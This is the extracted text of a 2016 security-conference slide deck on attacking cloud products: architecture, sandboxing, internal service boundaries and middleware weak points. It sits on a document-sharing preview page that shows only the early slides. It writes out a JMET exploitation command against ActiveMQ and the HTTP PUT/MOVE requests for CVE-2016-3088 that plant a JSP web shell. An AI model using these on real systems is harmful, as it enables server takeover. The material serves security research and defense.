Hacking Cloud Product [ Demon@n0tr00t ] 探索⼀一切、攻破⼀一切 [ Hacker@KCon ] About me • Working  on  阿里云-云平台安全 • Team  of  n0tr00t  (http://www.n0tr00t.com/) • ID:  Demon  (微博:Demon写Demo)   • 跨界:摇滚乐、Coding、安全 3 Part. 01 分类和架构 4 云的基础架构 • 种类繁多 基础服务大同小异,每家云厂商还有自己的特色云服务   • 资源开放 按需付费、资源开放,对于安全的说法就是可控点变多,结界难以把控,安全的天秤随时会倾斜。 • 木桶原理 木桶原理被放大,致弱点容易成为致命点。 5 云产品的通⽤用架构 网关系统 用户管理 Portal 逻辑服务 监控系统 控制器 计费系统 调度系统 Server 运维管控 API 资源管理 生产系统 运维管理 存储系统 容灾系统 底层云组件 实例 虚拟机 物理集群 6 云产品的安全基⽯石 - 沙箱(SandBox) • 沙箱的结构决定了产品持久稳固性 • 脚本层、容器层、用户权限层            -脚本层:JSM、PHP  disabled  function            -容器层:Docker、Linux  namespace、cgroup            -用户权限隔离:最小权限原则 • avoid  be  root,  use  linux  capability 用户权限 容器层 脚本层 7 Part. 02 隐匿在结界内的隐患 8 结界的划分 结界外 • 控制台(portal),  用户可管理产品   • API服务,通过API访问操作实例方便自动化 管理实例   • 实例本身,如连接虚拟服务 器,redis,mongodb等 结界内 • • • • • 业务逻辑服务,负责业务逻辑处理 调度服务,负责调配资源,控制链路   生产系统,负责生产实例,或释放实例等 管控系统,用于管理或监控实例 其他:因架构而定,如还存在一些日志组件, 下发任务模块等等 暗物质 • • 未知模块,如一些额外的存储系统 游离在架构之外的服务,结界不明,难以发 现 9 过度松耦合导致的隐患 • 十人传话游戏   •  多层模块分离,安全职责不明 10 攻击中间件服务 ·∙  开源消息中间件:Kafka、ActiveMQ、RabbitMQ、OpenJMS等      ·∙  分布式服务框架:Dubbo、zookeeper、TAF   攻击方式     ·∙  Load  eval  Mbean  via  “getMBeansFromURL”    (http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html)       ·∙  Java  反序列化漏洞(http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/)       ·∙  XML实体注入、命令注入、未授权调用服务 11 Use  Java  Message  Exploitation  Tool  (JMET)   • Apache  ActiveMQ   • Redhat/Apache  HornetQ   • Oracle  OpenMQ   • IBM  WebSphereMQ   • Pivotal  RabbitMQ   • IIT  Software  SwiftMQ   • Apache  ActiveMQ  Artemis   • Apache  QPID  JMS   • Apache  QPID  Client   项目地址:https://github.com/matthiaskaiser/jmet   使用方法:        >  java  -jar  jmet-0.1.0-all.jar  -Q  event  -I  ActiveMQ  -Y  xterm  127.0.0.1  61616 12 ActiveMQ  CVE-2016-3088 PUT  /fileserver/shell.txt  HTTP/1.1   Host:  x.x.x.x   Content-Length:  16   MOVE  /fileserver/shell.txt  HTTP/1.1   Destination:  file:///usr/local/apache-activemq-5.7.0/webapps/shell.jsp   Host:  x.x.x.x   13 运维管控系统   • 管理控制实例   • 部署发布系统   • 状态监控系统   • 统一配置管理系统   安全隐患:   • ACL绕过、API未授权调用   • 通过XSS漏洞打入到管控系统执行任务   • 开源的管控系统的漏洞(hue、splunk  、cacti、jekins、zabbix、zenoss、elasticsearch  ) 14 Use  hiveSQL  to  read  file 15 内部服务未授权问题   • Redis未授权访问   • Mongodb未授权访问   • Rsync未授权访问   • Memcache未授权访问 16 Part. 03 以点破⾯面-Hacking 17 云服务 18 开源服务 云服务 ⾃自研服务 19 开源服务 20

pdf文档 2016-《Hacking Cloud Product》

安全研究库 > 网络论坛材料 > 2016 Kcon > 文档预览
50 页 0 下载 26 浏览 0 评论 0 收藏 3.0分
温馨提示:如果当前文档出现乱码或未能正常浏览,请先下载原文档进行浏览。
2016-《Hacking Cloud Product》 第 1 页 2016-《Hacking Cloud Product》 第 2 页 2016-《Hacking Cloud Product》 第 3 页 2016-《Hacking Cloud Product》 第 4 页 2016-《Hacking Cloud Product》 第 5 页
下载文档到电脑,方便使用
还有 45 页可预览,继续阅读
本文档由 张玉竹2022-04-08 10:15:31上传分享
给文档打分
您好可以输入 255 个字符
安信天行文库的中文名是什么?( 答案:安信天行 )
评论列表
  • 暂时还没有评论,期待您的金玉良言